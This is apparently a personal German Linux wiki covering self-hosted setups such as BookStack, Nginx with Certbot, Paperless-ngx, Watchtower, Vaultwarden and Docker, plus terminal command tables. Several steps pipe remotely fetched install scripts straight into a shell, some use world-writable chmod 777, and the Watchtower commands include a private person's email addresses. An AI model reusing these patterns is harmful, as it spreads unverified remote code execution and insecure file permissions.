Linux
- Bookstack
- Nginx Reverse Proxy
- Paperless
- Watchtower
- Vaultwarden (Bitwarden) installieren
- Docker, Docker-Compose und Portainer installieren
- Docker Befehle
- Terminal Befehle
- Bash Aliases
- Festplatten in Linux
- Ethical Hacking mit Python und Kali Linux
- John the Ripper installieren
- ioBroker
- Server Sicherheit erhöhen
- FTP Im Terminal verwenden
- Openproject
- Ubuntu Server Netzwerk
- Linux auf Deutsch umstellen
- FTP Server installieren für Paperless
- Treiber & Hardware für Linux
- Adguard
- Verschlüsseln von Dateien und E-Mails
- Datenrettung
- Festplatte vergrößern
- SSH
- Update Ubuntu Distribution
- Automatische Updates für Linux Server
- Vertrauenswürdige SSL Zertifikate im Internen Netz
- Wireguard VPN erstellen
- HomeAssistant
- piHole installieren
- Kali John the ripper
- XRDP installieren
- Festplatten unter Linux prüfen
- GnuPG
- Bash Scripting
- Fedora
- Firewall
- deb installieren
- Pacman
- linkedin Learning Linux Systemarchitektur
- Benutzer und Gruppen in Linux
- Linux härten
- Umbrel
- GPG-Signaturen überprüfen
- Chat-GPT in der Konsole
- Hacking Akademie
- Qemu Agent installieren
- Linux geheimnisse
- OpenVPN
- Autostart in Linux
- Ordner verschlüsseln
- UFW Firewall
- Ändern des Displaymanagers
- Rebalance-LND
- Raspberry Matrix
- Docker Einführung
- Unifi-Server
- Linux LPIC Prüfung
- Flatpak installieren
- Desktop Verknüpfung Linux
- Tipps zu Linux
- Linux Tipps Readly
- FreshRSS
- Bitlocker to Go
- Zeitzone ändern
- Festplatte Klonen
- Alte Festplatte mit Linux auslesen MS-DOS
- Linux Festplatte untersuchen
- Tor Systemweit
- VPN über Tor
- Grub Bootloader erweitern
- NixOS
Bookstack
Docker Container
Watchtower läuft
Allerdings wird Bookstack selbst nicht upgedated.
Installieren
Bookstack ist ein leistungsstarkes OpenSource Wiki und kann leicht in einem Docker Container betrieben werden.
Installieren von BookStack
Installation · BookStack (bookstackapp.com)
# Ensure you have read the above information about what this script does before executing these commands.
# Download the script
wget https://raw.githubusercontent.com/BookStackApp/devops/main/scripts/installation-ubuntu-24.04.sh
# Make it executable
chmod a+x installation-ubuntu-22.04.sh
# Run the script with admin permissions
sudo ./installation-ubuntu-22.04.sh
Updating BookStack
BookStack is updated regularly. We try our best to keep the platform and upgrade path as stable as possible. The latest release can be found on GitHub here and detailed information on releases is posted on the BookStack blog here.
Before updating you should back up the database and any file uploads to prevent potential data loss.
Backup and restore documentation can be found here.
Updating is currently done via Git version control. To update BookStack you can run the three following commands in the root directory of the application:
git pull origin release
composer install --no-dev
php artisan migrate
This first command will update the repository that was created in the installation. The second will install the PHP dependencies using composer
. The third will then update the database with any required changes.
In addition, Clearing the system caches is also recommended:
php artisan cache:clear
php artisan config:clear
php artisan view:clear
Check the below Version Specific Instructions list for the version you are updating to for any additional instructions.
When running update commands, your command line user will need permission to handle the required files and folders in the BookStack installation folder. You can find more details about required filesystem permissions here.
Backup
BookStack does not currently have a built-in way to backup and restore but it can be done via the command line fairly simply.
Please note the below commands are based on using Ubuntu. If you are using a different operating system you may have to alter these commands to suit.
Backup
There are two types of content you need to backup: Files and database records.
Database
The easiest way to backup the database is via mysqldump
:
# Syntax
## Only specify the `-p` option if the user provided has a password
mysqldump -u {mysql_user} -p {database_name} > {output_file_name}
# Example
mysqldump -u benny bookstack > bookstack.backup.sql
If you are using MySQL on Ubuntu, and are using the root
MySQL user, you will likely have to run the command above with sudo
:
sudo mysqldump -u root bookstack > bookstack.backup.sql
The resulting file (bookstack.backup.sql
in the examples above) will contain all the data from the database you specified. Copy this file to somewhere safe, ideally on a different device.
Files
Below is a list of files and folders containing data you should back up. The paths are shown relative to the root BookStack folder.
.env
- File, Contains important configuration information.public/uploads
- Folder, Contains any uploaded images (If not using amazon s3).storage/uploads
- Folder, Contains uploaded page attachments (Only exists as of BookStack v0.13).
Alternatively you could backup up your whole BookStack folder but only the above are non-restorable.
The following command will create a compressed archive of the above folders and files:
tar -czvf bookstack-files-backup.tar.gz .env public/uploads storage/uploads
The resulting file (bookstack-files-backup.tar.gz
) will contain all your file data. Copy this to a safe place, ideally on a different device.
Restore
If you are restoring from scratch follow the installation instructions first to get a new BookStack instance set-up. Do not run the php artisan migrate
installation step when installing BookStack. You may need to comment this command out if using an installer script. If using a docker container, restore the database before running the BookStack container. Once you are sure the new instance is set-up follow the instructions below.
Database
To restore the database you simply need to execute the sql in the output file from the mysqldump
you performed above. To do this copy your database SQL backup file onto the BookStack or database host machine and run the following:
# Syntax
mysql -u {mysql_user} -p {database_name} < {backup_file_name}
## Only specify the -p if the user provided has a password
# Example
mysql -u benny -p bookstack < bookstack.backup.sql
# If using the root user on Ubuntu you may
# have to run the above with root permissions via sudo:
sudo mysql -u root bookstack < bookstack.backup.sql
If you are restoring to a new version of BookStack you will have to run php artisan migrate
after restore to perform any required updates to the database.
Files
To restore the files you simply need to copy them from the backup archive back to their original locations. If you created a compressed bookstack-files-backup.tar.gz
archive as per the backup instructions above you can simply copy that file to your BookStack folder then run the following command:
tar -xvzf bookstack-files-backup.tar.gz
If you get errors during the above command it may be due to permissions. Change permissions so you can write to the restore locations.
After a backup of the files you should reset the permissions to ensure any write-required locations are writable by the server. The locations required for this can be found in the installation instructions.
Nginx Reverse Proxy
Nginx Proxymanager als Dockerimage erstellen
https://nginxproxymanager.com/setup/#running-on-raspberry-pi-arm-devices
Datei erstellen
docker-compse.yml Datei erstellen
MYSQL_PASSWORD anpassen
im Ordner der Docker Compose File folgenden Befehl absetzen:
docker-compose up -d
Default Administrator User
Email: admin@example.com
Password: changeme
Immediately after logging in with this default user you will be asked to modify your details and change your password.
Upgrade zu neuer Version
docker-compose down
docker-compose pull
docker-compose up -d
Nginx manuelle Installation
Schritt 1: Installation von Nginx
sudo apt-get update
sudo apt-get install nginx
Schritt 2: Konfiguration des Reverse Proxys
cd /etc/nginx/conf.d/
Erstellen der Konfiguartionsdatei für den Reverse Proxy:
sudo nano reverse_proxy.conf
Folgenden Inhalt in die Datei
server {
listen 80;
server_name DOMAIN_NAME;
location / {
proxy_pass http://IP_ADDRESS:PORT;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Ersetzen Sie "DOMAIN_NAME" durch den Domainnamen oder die IP-Adresse des Servers, über den Sie auf die Computer im Netzwerk zugreifen möchten. Ersetzen Sie außerdem "IP_ADDRESS" durch die IP-Adresse des Computers, den Sie verfügbar machen möchten, und "PORT" durch den entsprechenden Port des Dienstes, auf den Sie zugreifen möchten.
Schritt 3: Neustart des Nginx-Servers
sudo service nginx restart
Schritt 4: Firewall-Einstellungen
Firewall-Einstellungen Wenn Sie eine Firewall auf Ihrem System verwenden (z. B. UFW), müssen Sie möglicherweise den Port öffnen, den Sie in der Konfigurationsdatei festgelegt haben. Verwenden Sie den folgenden Befehl, um den Port zu öffnen (ersetzen Sie "PORT" durch den tatsächlichen Port):
sudo ufw allow PORT
Schritt 5: Überprüfung des Reverse Proxys Geben Sie die Domain oder IP-Adresse des Servers, über den Sie auf die Computer im Netzwerk zugreifen möchten, in einen Webbrowser ein. Wenn alles korrekt konfiguriert ist, sollten Sie auf den Dienst zugreifen können, der auf dem Computer im Netzwerk läuft.
SSL-Zertifikat
Schritt 1: Installation des Certbot-Tools Certbot ist ein Open-Source-Tool, das die Einrichtung von SSL-Zertifikaten von Let's Encrypt automatisiert. Installieren Sie Certbot auf Ihrem Linux-System, indem Sie die Anweisungen auf der offiziellen Certbot-Website befolgen. Die genauen Schritte können je nach Linux-Distribution variieren.
Schritt 2: Konfiguration des Webservers Stellen Sie sicher, dass Ihr Webserver (z.B. Nginx oder Apache) ordnungsgemäß für die Subdomain konfiguriert ist. Die Subdomain muss auf den richtigen Server verweisen und die erforderlichen Einstellungen für den SSL-Traffic zulassen.
Schritt 2a: Öffnen Sie das Terminal auf Ihrem Linux-System.
Schritt 2b: Führen Sie die folgenden Befehle aus, um Certbot zu installieren und das Nginx-Plugin zu aktivieren:
sudo apt update
sudo apt install certbot python3-certbot-nginx
Diese Befehle aktualisieren zunächst die Paketlisten auf Ihrem System und installieren dann Certbot sowie das Nginx-Plugin für Certbot.
Schritt 2c: Überprüfen Sie, ob Certbot erfolgreich installiert wurde, indem Sie den Befehl certbot --version
ausführen. Sie sollten eine Ausgabe sehen, die die installierte Version von Certbot anzeigt.
Schritt 2d: Konfiguration des Nginx-Plugins in Certbot: Certbot benötigt Informationen über die Nginx-Konfiguration, um das SSL-Zertifikat erfolgreich zu generieren. Führen Sie den folgenden Befehl aus, um das Nginx-Plugin in Certbot zu konfigurieren:
sudo certbot --nginx
Certbot wird die Nginx-Konfiguration analysieren und Ihnen dann eine Liste der verfügbaren Domains anzeigen, für die Sie ein SSL-Zertifikat erhalten können. Wählen Sie die gewünschte Subdomain aus, indem Sie die entsprechende Nummer eingeben und die Anweisungen befolgen.
Schritt 2e: Überprüfen Sie die Zertifikatserstellung: Certbot führt eine Herausforderung durch, um Ihre Kontrolle über die Subdomain zu überprüfen. Stellen Sie sicher, dass der Nginx-Server während dieses Prozesses erreichbar ist.
Certbot generiert das SSL-Zertifikat und speichert es auf Ihrem System. Die genauen Speicherorte variieren je nach Linux-Distribution und Nginx-Konfiguration. Certbot nimmt automatisch die erforderlichen Änderungen an Ihrer Nginx-Konfigurationsdatei vor, um das neu erstellte SSL-Zertifikat zu verwenden.
Schritt 2f: Neustart des Nginx-Servers: Starten Sie den Nginx-Server neu, damit die Konfigurationsänderungen wirksam werden:
sudo service nginx restart
Nach Abschluss dieser Schritte sollte der Nginx Reverse Proxy das gültige SSL-Zertifikat verwenden und den Datenverkehr über HTTPS verschlüsseln. Überprüfen Sie dies, indem Sie die Subdomain in einem Webbrowser öffnen und sicherstellen, dass das Zertifikat korrekt funktioniert.
Schritt 3: Zertifikatserstellung mit Certbot Führen Sie den folgenden Befehl aus, um Certbot zu verwenden und ein SSL-Zertifikat für den Reverse Proxy zu erhalten:
sudo certbot certonly --nginx -d subdomain.example.com
Ersetzen Sie "subdomain.example.com" durch Ihre eigene Subdomain.
Certbot interagiert mit Nginx, erkennt die Konfiguration der Subdomain und fordert Sie auf, den gewünschten Domainnamen und die E-Mail-Adresse einzugeben. Befolgen Sie die Anweisungen, um den Prozess abzuschließen.
Schritt 4: Konfiguration des Nginx Reverse Proxys Certbot sollte automatisch die erforderlichen Änderungen an Ihrer Nginx-Konfigurationsdatei vornehmen, um das neu erstellte SSL-Zertifikat zu verwenden. In der Regel werden die Änderungen in einer separaten Konfigurationsdatei unter /etc/nginx/conf.d/
vorgenommen.
Überprüfen Sie die Nginx-Konfigurationsdateien und stellen Sie sicher, dass der Reverse Proxy ordnungsgemäß auf das SSL-Zertifikat verweist. Normalerweise werden die SSL-Einstellungen in einer server
-Block-Konfiguration wie folgt aussehen:
server {
listen 443 ssl;
server_name subdomain.example.com;
ssl_certificate /etc/letsencrypt/live/subdomain.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/subdomain.example.com/privkey.pem;
location / {
proxy_pass http://IP_ADDRESS:PORT;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
Stellen Sie sicher, dass die Pfade zu den Zertifikatdateien (ssl_certificate
und ssl_certificate_key
) korrekt angegeben sind und auf die von Certbot generierten Zertifikate verweisen.
Schritt 5: Neustart des Nginx-Servers Starten Sie den Nginx-Server neu, damit die Konfigurationsänderungen wirksam werden:
sudo service nginx restart
Nach Abschluss dieser Schritte sollte der Nginx Reverse Proxy das gültige SSL-Zertifikat verwenden und den Datenverkehr über HTTPS verschlüsseln. Überprüfen Sie dies, indem Sie die Subdomain in einem Webbrowser öffnen und sicherstellen, dass das Zertifikat korrekt funktioniert.
Konfiguratinsdatei für mehrere Subdomains
Wie sieht die Config-Datei aus, wenn mehrere Rechner durchgeleitet werden sollen:
http {
# HTTPS-Server für Port 443
server {
listen 443 ssl;
server_name subdomain1.example.com;
ssl_certificate /etc/letsencrypt/live/subdomain1.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/subdomain1.example.com/privkey.pem;
location / {
proxy_pass http://IP_ADDRESS1:PORT1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# HTTPS-Server für Port 443, zweite Subdomain
server {
listen 443 ssl;
server_name subdomain2.example.com;
ssl_certificate /etc/letsencrypt/live/subdomain2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/subdomain2.example.com/privkey.pem;
location / {
proxy_pass http://IP_ADDRESS2:PORT2;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# Weitere server-Blöcke für zusätzliche Subdomains und Reverse-Proxy-Verbindungen
# ...
# Weitere Nginx-Konfigurationseinstellungen
# ...
}
Paperless
Paperless installation
Vorbereitung
- Docker installieren und Docker Compose
- Vorbereitungen treffen
# User Anlegen:
adduser paperless
# User für Docker berechtigen
sudo usermod -aG docker paperless
# Paperless User wechelsn
su paperless
# Ordner erstellen
mkdir consume
chmod 777 consume
Paperless installieren
bash -c "$(curl -L https://raw.githubusercontent.com/paperless-ngx/paperless-ngx/main/install-paperless-ngx.sh)"
Config
URL:
Port: 8050
Database: postgres
Enable Apache Tika? no
OCR language: deu+eng
Ordner mit der configuration files
/home/paperless/paperles-ngx
Eingangsordner
/home/paperless/consume
Mediafolder
/home/paperless/media
Data
/home/paperless/data
Datenbank
/home/paperless/db
Docker-compose.env hinzufügen
PAPERLESS_CONSUMER_POLLING=10
Neustart
docker-compose up -d
FTP Zugang für Nextcloud
Wie man den FTP Zugang richtig anlegt
Backup and Restore
Ordner die gesichert werden müssen
- paperless_media
- paperless_data
- paperless_db
- bei Docker-Image: paperless-redisdata (Unter: /var/lib/docker/volumes/)
Backup mit rsync
zunächst Instanz beenden
Anmelden als sudo!
Da SSH nicht möglich ist: bash Datei im /-Verzeichnis das die 4 rsync übernimmt
bash_aliase hinterlegt (ini)
1.
cd /home/paperless/paperless-ngx
docker-compose down
2.
rsync -arP --delete /home/paperless/paperless_media/ /mnt/Backup/paperless_media --log-file=/mnt/Backup/log/pl-media.log --ignore-existing
3.
rsync -arP --delete /home/paperless/paperless_data/ /mnt/Backup/paperless_data --log-file=/mnt/Backup/log/pl-data.log --ignore-existing
4.
rsync -arP --delete /home/paperless/paperless_db/ /mnt/Backup/paperless_db --log-file=/mnt/Backup/log/pl-db.log --ignore-existing
5.
rsync -arP --delete /var/lib/docker/volumes/paperless_redisdata/ /mnt/Backup/paperless_redisdata --log-file=/mnt/Backup/log/pl-redis.log
6.
docker-compose up
mit dem Befehl rsync -a -r --delete /home/paperless /mnt/paperless_backup/daten
werden die daten auf die Synology gespiegelt mit dem Befehl rsync -a -r --delete /var/lib/docker/volumes/paperless_redisdata /mnt/paperless_backup/config/paperless_redisdata
werden die config files gespiegelt.
Folgende Cronjobs sind erstellt:
Restore
zum wiederherstellen Paperless in Portainer stoppen und die Ordner ersetzen
Um die Daten wiederherzusellen werden die 3 Ordner:
- paperless_data
- paperless_db
- paperless_media
- paperless_redisdata (aus docker-volume)
benötigt.
Zum wiederherstellen werden die Ordner zurück kopiert. Danach sollte es wieder gehen sofern die Berechtigungen passen.
Weitere Infos zur Administration
Updating Paperless
IP-Adresse Paperless Server: 10.1.2.19
Docker Route
If a new release of paperless-ngx is available, upgrading depends on how you installed paperless-ngx in the first place. The releases are available at the release page.
First of all, ensure that paperless is stopped.
cd /home/paperless/paperless-ngx
docker-compose down
After that, make a backup.
- If you pull the image from the docker hub, all you need to do is:
docker-compose pull
docker-compose up
The docker-compose files refer to the latest
version, which is always the latest stable release.
Watchtower
Watchtower aktuallisiert auch regelmäßig die Docker Container
Einmal ausführen
docker run --rm \
--name watchtower \
-v /var/run/docker.sock:/var/run/docker.sock \
-e WATCHTOWER_NOTIFICATIONS=email \
-e WATCHTOWER_NOTIFICATION_EMAIL_FROM=hermann.pelzer@mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_TO=hp1984@posteo.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=hermann.pelzer \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=************ \
-e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \
containrrr/watchtower \
--run-once \
--cleanup \
--include-restarting \
--rolling-restart \
--include-stopped
Regelmäßig ausführen
docker run -it -d \
--name watchtower \
-v /var/run/docker.sock:/var/run/docker.sock \
-e WATCHTOWER_NOTIFICATIONS=email \
-e WATCHTOWER_NOTIFICATION_EMAIL_FROM=hermann.pelzer@mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_TO=hp1984@posteo.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER=smtp.mail.de \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PORT=587 \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_USER=hermann.pelzer \
-e WATCHTOWER_NOTIFICATION_EMAIL_SERVER_PASSWORD=************* \
-e WATCHTOWER_NOTIFICATION_EMAIL_DELAY=2 \
containrrr/watchtower:latest \
--cleanup \
--include-restarting \
--rolling-restart \
--include-stopped \
--interval 43200
Vaultwarden (Bitwarden) installieren
Vorgehensweise
Alternative implementation of the Bitwarden server API written in Rust and compatible with upstream Bitwarden clients*, perfect for self-hosted deployment where running the official resource-heavy service might not be ideal.
📢 Note: This project was known as Bitwarden_RS and has been renamed to separate itself from the official Bitwarden server in the hopes of avoiding confusion and trademark/branding issues.
This project is not associated with the Bitwarden project nor Bitwarden, Inc.
⚠️IMPORTANT⚠️: When using this server, please report any bugs or suggestions to us directly (look at the bottom of this page for ways to get in touch), regardless of whatever clients you are using (mobile, desktop, browser...). DO NOT use the official support channels.
Host your own Vaultwarden with NGINX
Diese Repository zeigt dir, wie du deinen eigenen Vaultwarden Passwort Manager Server erstellen und konfigurieren kannst. Ich nutzte hierfür Proxmox, das ganze kann aber auch mit einem RaspberryPi oder vergleichbarer Hardware gemacht werden. Eine Ausführliche Anleitung findet du auf meinem YouTube Kanal.
Features
Basically full implementation of Bitwarden API is provided including:
- Organizations support
- Attachments and Send
- Vault API support
- Serving the static files for Vault interface
- Website icons API
- Authenticator and U2F support
- YubiKey and Duo support
- Emergency Access
Vorbereitungen
Verwende ein aktuelles Debian System in einem Proxmox Container
apt-get update && apt-get upgrade -y && apt autoremove -y apt install curl apt install argon2 curl -sSL https://get.docker.com | sh apt install docker-compose -y
Installation
mkdir docker cd docker mkdir Vaultwarden mkdir Vaultwarden nano docker-compose.yml
Admin-Token als Hash Wert erstellen
Nach dem generieren des Admin-Token kann dieser in die Docker-Compose Datei eingefügt werden, hierbei muss vor jedem "$"- Zeichen ein weiteres "$" ergänzt werden!
# Using the Bitwarden defaults echo -n "MySecretPassword" | argon2 "$(openssl rand -base64 32)" -e -id -k 65540 -t 3 -p 4
Importieren der docker-compose.yml Datei
version: '3'
services:
vaultwarden:
restart: always
container_name: vaultwarden
image: vaultwarden/server:latest
volumes:
- ./vw-data/:/data/
ports:
- 80:80
environment:
- SMTP_HOST=smtp.gmail.com
- SMTP_FROM=yourmailadress@gmail.com
- SMTP_FROM_NAME=Vaultwarden
- SMTP_SECURITY=force_tls
- SMTP_PORT=465
- SMTP_USERNAME=yourmailadress@gmail.com
- SMTP_PASSWORD=YourAppPasswort
- SMTP_TIMEOUT=30
- SMTP_AUTH_MECHANISM="Plain"
- LOGIN_RATELIMIT_MAX_BURST=10
- LOGIN_RATELIMIT_SECONDS=60
- DOMAIN=yourDomain or IP-Adress
- INVITATION_ORG_NAME=HomeVault
- INVITATIONS_ALLOWED=true
- ADMIN_TOKEN=YourArgon2 key or Passwort
- SIGNUPS_ALLOWED=true
- SIGNUPS_DOMAINS_WHITELIST=example.com,mydomain.net,myotherdomain.org
- SIGNUPS_VERIFY=true
- SIGNUPS_VERIFY_RESEND_TIME=3600
- SIGNUPS_VERIFY_RESEND_LIMIT=6
- EMERGENCY_ACCESS_ALLOWED=true
- SENDS_ALLOWED=true
- WEB_VAULT_ENABLED=true
In der yml-Datei SMTP einstellungen Anpassen. Die Domain Eintragen und den AdminToken generieren.
Kopiere nun den Inhalt aus der docker-compose.yml.txt Datei in deine eben erstellte .yml datei und passe es entsprechend an.
Anschließend kann der Container ausgerollt werden.
docker-compose up -d
Domain über Proxy Manager mit der IP Adresse verknüpfen
Als nächstes die Domain mit der IP-Adresse des Vaultwarden verknüpfen und die SSL verschlüselung aktivieren.
Update
Noch nicht getestet
Update über docker-compose
Im Ordner in der die docker-compose.yml datei liegt folgendes eingeben:
docker-compose down
danach
docker-compose up
Alte Version
Admin Zugang
Der Adminzugang ist erreichbar über domain.co/admin. Hier muss der Token eingegeben werden. Der ist da zu finden, wo er gespeichert ist.
Bitwarden installieren
Bitwarden im Dockercontainer installieren mithilfe von Portainer
Volume
Volumes > Add volume
Name: vaultvarden
Container
Add Container
- Name: Vaultwarden
- image: vaultwarden/server:latest
+publish a new network port
host: 8080 contianer: 80
Advanced Container settings
Volume
+map additional volume
Container: /data
Select a Volume (vorher erstelltes Volume): vaultwarden
Restart policy
Always
Deploy the Conainer
Um immer den aktuellsten Vaultwarden zu verwenden am besten Watchtower einrichten
Admin-Token
der wird ebenfalls in der Config-Json Datei gespeichert
Docker, Docker-Compose und Portainer installieren
Weitere Infos zu Docker: Docker Einführung
Mit ein paar einfachen Einstellungen ist es möglich, Docker innerhalb eines Proxmox Containers zu betreiben.
Videoanleitung/Quelle: Docker Container unter Proxmox betreiben – Home Server selbst bauen TEIL 15
1. LXC Container erstellen
- Template: Ubuntu 18.04 oder neuer
- WICHTIG: Unpriviligierter Container
- Root Disk Größe: Abhängig davon, wie viele Docker Container betrieben werden sollen. Empfehlung mindestens 15GB
- RAM: Empfehlung mindestens 1 GB
- CPU: Empfehlung alle vorhandenen Kerne
- Statische IP-Adresse vergeben
- Nach dem Erstellen in den Optionen folgende Features aktivieren: „keyctl“, „nesting“
2. Docker installieren
Container starten und in Proxmox Konsole des Containers öffnen, als root mit dem beim Einrichten vergebenen Passwort anmelden.
sudo apt update && sudo apt upgrade -y
Installiert alles nötige zu Docker
curl -sSL https://get.docker.com | sh
Alte Vorgehensweisen
apt-get update
apt-get upgrade
apt-get install docker.io
systemctl enable docker
systemctl start docker
Möglichkeit 2 um Docker zu installieren in Ubuntu
um den Key integrieren zu können
apt install ca-certificates curl gnupg lsb-release
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt update
apt install docker-ce docker-ce-cli containerd.io docker-compose
# docker-ce: Docker Community edition
# docker-cli: Docker Commandline
Docker Schlüssel auf der Website erhältlich
User hinzufügen
usermod -aG docker dapelza
3. Docker-compose installieren
curl -L "https://github.com/docker/compose/releases/download/1.28.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
apt-get install curl
chmod +x /usr/local/bin/docker-compose
4. Portainer installieren
docker volume create portainer_data
docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest
Fertig!
Docker Befehle
Docker Befehle
Befehl | Beschreibung |
---|---|
docker start $container | startet den jeweiligen Container |
docker container ls | running containers |
docker container ls -a | all containers |
Terminal Befehle
Übersicht
Befehl | Beispiel | Beschreibung |
---|---|---|
cat | cat /etc/fstab |
Ausgabe von Text- und Konfigurationsdateien |
chmod | chmod -R 777 ~/Dokumente |
ändert die Berechtigungen einer Datei oder Ordner |
chmod +x dateinahme |
macht eine Datei ausführbar | |
touch | touch file1.md |
erstellt eine leere Datei |
cp | cp mein.pdf ~/Schreibtisch |
kopieren |
mv | mv datei.txt datei.old |
Benennt eine Datei um |
mv /mnt/transfer/text.txt /ort/text.txt |
Datei verschieben | |
rm | rm /home/sepp/*.jpg |
löscht alle jpg dateien in Sepp (löschen) |
du | du /home/sepp/bilder |
ermittelt den Speicherplatz eines Ordners |
mkdir | mkdir /home/sepp/dokumente |
Erstellt einen Ordner |
rmdir | rmdir /media/data/bilder |
löscht Ordner |
find |
|
Findet Dateien mit dem namen Logs Durch die Erweiterung werden Fehlermeldungen die in Ausgabe 2 ausgegeben werden an /dev/null geschickt. Somit werden Fehlermeldungen nicht mehr angezeigt |
find . -user dan |
Sucht alle Dateien die dem User dan gehören |
|
|
Findet Dateien, die ausführbar sind |
|
locate |
|
Ähnlich wie find |
grep |
|
Um innerhalb von dateien zu suchen. In dem Beispiel werden in access.log die Einträge mit 500 angezeigt |
|
Suche im aktuellen Ordner mit allen unterordnern |
|
less |
|
Damit können Dateien durchsucht werden Wenn man in Less &404 eingibt werden nur Zeilen mit dme inhalt 404 angezeigt. Benenden mit ! |
man |
|
Hilfe zu Befehlen |
tree | tree /home |
Alternative zu ls |
rsync | rsync -au /home/sepp/ /media/USB/Backup |
kopiert, aktualisiert ("-u"), spiegelt ("--delete") verzeichnise rekursiv ("-a") im lokalen Dateisystem und Netzwerk (ähnlich wie robocopy) |
rsync -a -r --delete /home/sepp /mnt/paperless_backup |
||
rsync -au --delete --dry-run /home/sepp/ /media/sepp/USB/Backup |
-dry-run dient als Simulation und vorabtest | |
tar | tar -czf 2022_02_12 /home/sepp/ |
komprimiert Ordner und Dateien. -c steht für create, -z für platzsparende gzip-Komprimierung, -f sorgt für rekursiven Umfang. Der Name des Archivs folgt nach den Schaltern, am Ende der Pfad der Quelldateien. |
tar -xf 2022-02-12 |
schalter -x entpackt Tar-Archive | |
System | ||
hostname | liefert Servername oder Computername des Systems | |
shutdown / reboot | reboot now |
Fährt das system herunter oder Starte neu |
shutdown 22:00 |
Herunterfahren zu einem bestimmten Zeitpunkt | |
which | which poweroff |
ermittelt den Systempfad eines Programms |
whereis | whereis python3 |
liefert auch noch weitere zu Pfade zu Bibliotheken oder Manpages |
service | service --status-all | informiert über aktive und inaktive systemdienste und bietet deren Steuerung an. |
service docker status | Für den Dienst bestimmte Aktionen (auch stop, restart) | |
systemd-analyze | Es protokolliert detailliert den Bootprozess und kann die Ursache von Bootverzögerungen entlarven. | |
python3 -m http.server 4444 |
Python Server zum bereitstellen von dateien im aktuellen Ornder |
|
passwd | Passwort ändern | |
lsblk | Festplatten anzeigen lassen | |
ls | zeigt den Inhalt des aktuellen Verzeichnisses an | |
ls -a | zeigt alle Inhalte an, auch die versteckten (beginnen mit einem Punkt) | |
ls -l | zeigt den Inhalt des Verzeichnisses im Detail mit Zusatzinformationen an | |
ls -la | kombiniert die Optionen -l und -a | |
ls bin | zeigt das Unterverzeichnis bin oder eine Datei namens bin im aktuellen Verzeichnis an | |
pwd | zeigt das aktuelle Verzeichnis an | |
cd /etc | wechselt in das Verzeichnis /etc | |
cd ../bin | wechselt eine ebene höher und von dort in das Unterverzeichnis bin | |
cd - | wechselt in das vorhergehende Verzeichnis | |
cd | wechselt in das Homeverzeichnis des aktuellen Benutzers | |
mkdir bin | erstellt ein Unterverzeichnis bin | |
nano HelloWorld.py | ruft den Editor nano mit der angegebenen Datei auf (wird ggf. erstellt) | |
cat HelloWorld.py | zeigt die (Text-)Datei HelloWorld.py an | |
mv HelloWorld.py helloworld.py | benennt die Datei von HelloWorld.py in helloworld.py um | |
mv helloworld.py ../ | verschiebt die angegebene Datei in das übergeordnete Verzeichnis | |
cp helloworld.py bin/HelloWorld.py | kopiert die angegebene Datei an die angegebene Stelle | |
rm helloworld.py | löscht die angegebene Datei | |
which python | zeigt den Pfad zum angegebenen Programm | |
python3 HelloWorld.py | ruft HelloWorld.py mit dem Python3-Interpreter auf | |
chmod +x HelloWorld.py | ergänzt das Ausführen-Recht für alle Benutzer für die angegebene Datei | |
echo $PATH | zeigt den Inhalt der Variablen PATH an | |
PATH='/root/bin':$PATH | fügt der Variablen PATH vorn /root/bin an | |
apt-get install kate | installiert das Paket kate |
Dateisystem
Pfad | Bezeichnung |
/bin | Enthält Programm des Betriebssystems |
/home | Nutzerverzeichnisse |
/opt | Anwendungen von Drittanwendern (apt…) |
/usr | Enhält Anwendungen die vom Admin auf dem System gebaut wurden und Programmbibliotheken |
/etc | Enhält anwendungszugehörige Dateien zum Konfigurieren |
/var | Enthält häufig veränderte Dateien (Logs/Temp) |
/dev | Seht für Devices. |
/mnt |
Geräte Mounten
lsblk > Zeigt an welche Festplatten es gibt
mkdir usbstick > Erstellt einen Ordner in dem die dateien angezeigt werden sollen
sudo mount /dev/sdb1 usbstick > Mounted den USB-Stick in den Ordner usbstick
Find
## Dateien suchen
### Dateien mit einem bestimmten Namen
find /pfad/zum/ordner -tpye f -iname "*string*.*"
### Dateien mit bestimmten Namen die Zuletzt bearbeitert wurden
find /pfad/zum/ornder -type f -iname "*string*.*" -exec ls -lt {} +
**Nur die letzten 10**
find /pfad/zum/ordner -type f -iname "*suchstring*.*" -exec ls -lt {} + | head -10
### Inhalt durchsuchen
find /pfad/zum/ordner -type f -exec grep -l "dein_inhalt" {} +
Dateien Suchen
find /home/dapelza/Nextcloud -type f -name „*.ods“ -exec stat -c „%y %n“ {} + | sort -r | head -n 10
Texteditor nano
Befehl | Beschreibung |
Crtl + X | Verlassen |
Crtl + 6 | Marieren |
ALT + 6 | Kopieren |
Crtl + U | Einfügen |
Crtl + K | Ausschneiden |
Alt + U | Rückgängig |
